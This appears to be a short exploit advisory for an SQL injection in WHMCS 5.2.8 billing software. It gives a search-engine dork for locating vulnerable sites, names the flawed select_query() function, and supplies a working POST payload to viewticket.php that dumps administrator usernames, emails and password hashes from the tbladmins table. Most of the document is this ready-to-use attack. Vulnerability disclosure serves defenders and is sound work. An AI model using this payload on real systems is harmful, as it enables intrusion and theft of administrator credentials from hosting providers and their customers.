WHMCS 5.2.8 - SQL Injection Vulnerability

# Google Dork: "powered by WHMCS"
# Exploit Author: g00n ( Xploiter.net )
# Vendor Homepage: http://www.whmcs.com/
# Software Link: http://www.whmcs.com/
# Version: 5.2.8
# Tested on: Windows, Linux

Vulnerable file: /includes/dbfunctions.php

POC:

select_query() function is vulnerable due to Register Globals

Example:

/whmcs/viewticket.php
[php]
POST: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins),0,0,0,0,0,0,0,0,0,0,0#
[/php]